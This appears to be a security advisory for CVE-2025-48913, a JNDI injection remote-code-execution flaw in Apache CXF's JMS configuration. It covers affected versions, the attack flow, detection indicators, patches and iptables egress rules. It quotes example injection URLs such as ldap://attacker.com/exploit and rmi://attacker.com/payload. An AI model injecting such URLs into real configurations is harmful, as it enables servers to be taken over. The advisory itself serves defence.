CVE-2025-48913: Apache CXF JMS RCE Vulnerability

CVE-2025-48913 Overview

CVE-2025-48913 is a critical vulnerability in Apache CXF that allows remote code execution through JNDI injection when untrusted users are permitted to configure JMS (Java Message Service) settings. The flaw arises from insufficient input validation of JMS configuration parameters, enabling attackers to specify malicious RMI or LDAP URLs that trigger JNDI lookups and ultimately lead to arbitrary code execution on the target server.

This vulnerability is particularly dangerous in enterprise environments where Apache CXF is commonly deployed for building web services and SOA applications. The attack leverages the well-known JNDI injection technique, similar to the Log4Shell class of vulnerabilities, where attacker-controlled URLs can force the JVM to load and execute malicious code from remote servers.

Critical Impact

Remote attackers with the ability to configure JMS settings can achieve full code execution on affected Apache CXF servers through JNDI injection via malicious RMI or LDAP URLs.

Affected Products

• Apache CXF versions prior to 3.6.8
• Apache CXF versions 4.0.x prior to 4.0.9
• Apache CXF versions 4.1.x prior to 4.1.3

Discovery Timeline

• 2025-08-08 - CVE-2025-48913 published to NVD
• 2025-11-04 - Last updated in NVD database

Technical Details for CVE-2025-48913

Vulnerability Analysis

The vulnerability exists within the JMS configuration handling component of Apache CXF. When processing JMS connection settings, the framework failed to restrict the URL schemes that could be used for JNDI lookups. This oversight allowed untrusted users with configuration access to inject malicious RMI (Remote Method Invocation) or LDAP (Lightweight Directory Access Protocol) URLs into JMS configuration parameters.

When the application processes these malicious URLs, it initiates a JNDI lookup operation that connects to attacker-controlled servers. The malicious server can then serve a Java object reference or serialized payload that, when deserialized by the vulnerable application, results in arbitrary code execution within the context of the application server.

This attack pattern exploits the inherent trust that Java applications place in JNDI naming services. The fix implemented by Apache restricts the JMS configuration interface to reject RMI and LDAP protocol schemes, effectively blocking this attack vector while maintaining legitimate functionality.

Root Cause

The root cause is classified as CWE-20 (Improper Input Validation). The Apache CXF JMS configuration interface lacked proper validation and restriction of URL protocols that could be specified by users. Specifically, the code did not implement an allowlist or blocklist for URL schemes, permitting dangerous protocols like rmi:// and ldap:// that can trigger JNDI lookup operations leading to remote class loading and code execution.

Attack Vector

The attack exploits the network-accessible JMS configuration interface in Apache CXF. An attacker with the ability to configure JMS settings (which may be exposed through management interfaces, configuration files, or API endpoints) can inject a malicious JNDI lookup URL such as ldap://attacker.com/exploit or rmi://attacker.com/payload.

When the application processes this configuration and attempts to resolve the JNDI reference, it connects to the attacker's server, which responds with a malicious object reference. The Java runtime then loads and instantiates this object, executing attacker-controlled code. This attack requires no authentication beyond access to the JMS configuration interface and can be executed remotely across the network.

The exploitation flow follows the classic JNDI injection pattern:

1. Attacker injects malicious LDAP/RMI URL into JMS configuration
2. Apache CXF processes the configuration and performs JNDI lookup
3. Malicious server returns a reference to a remote Java class
4. Target JVM loads and instantiates the malicious class
5. Attacker achieves remote code execution

Detection Methods for CVE-2025-48913

Indicators of Compromise

• Outbound network connections to unexpected LDAP (port 389/636) or RMI (port 1099) servers
• Unusual JNDI lookup activity in application logs, particularly referencing external URLs
• JMS configuration changes containing ldap://, ldaps://, or rmi:// URL schemes
• Unexpected Java class loading from external sources

Detection Strategies

• Monitor network traffic for outbound LDAP and RMI connections to unauthorized external hosts
• Implement log analysis rules to detect JNDI lookup patterns in Apache CXF application logs
• Deploy web application firewall (WAF) rules to inspect and block JMS configuration requests containing malicious URL patterns
• Use runtime application self-protection (RASP) solutions to detect and block JNDI injection attempts

Monitoring Recommendations

• Enable verbose logging for Apache CXF JMS components to capture configuration changes
• Implement network segmentation to restrict outbound connections from application servers to only necessary services
• Configure alerts for any JMS configuration modifications in production environments
• Perform periodic configuration audits to identify unauthorized JMS settings or suspicious URL patterns

How to Mitigate CVE-2025-48913

Immediate Actions Required

• Upgrade Apache CXF immediately to version 3.6.8, 4.0.9, or 4.1.3 or later
• Review JMS configuration access controls and restrict to trusted administrators only
• Audit existing JMS configurations for any suspicious LDAP or RMI URLs
• Implement network-level controls to block outbound RMI (port 1099) and LDAP (ports 389/636) connections from application servers

Patch Information

Apache has released patched versions that restrict the JMS configuration interface to reject RMI and LDAP URL protocols. Users should upgrade to:

• Version 3.6.8 - For users on the 3.6.x branch
• Version 4.0.9 - For users on the 4.0.x branch
• Version 4.1.3 - For users on the 4.1.x branch

For additional details, refer to the Apache Mailing List Thread and the Openwall OSS-Security Update.

Workarounds

• Restrict JMS configuration access to only trusted administrators through role-based access controls
• Implement network egress filtering to block outbound LDAP and RMI connections from application servers
• Deploy a reverse proxy or WAF to inspect and sanitize JMS configuration requests before they reach the application
• Consider disabling JMS functionality entirely if not required for business operations until patching is complete

# Network-level mitigation: Block outbound RMI and LDAP connections
# Example iptables rules for Linux servers running Apache CXF

# Block outbound RMI connections (default port 1099)
iptables -A OUTPUT -p tcp --dport 1099 -j DROP

# Block outbound LDAP connections (ports 389 and 636)
iptables -A OUTPUT -p tcp --dport 389 -j DROP
iptables -A OUTPUT -p tcp --dport 636 -j DROP

# Save rules to persist across reboots
iptables-save > /etc/iptables/rules.v4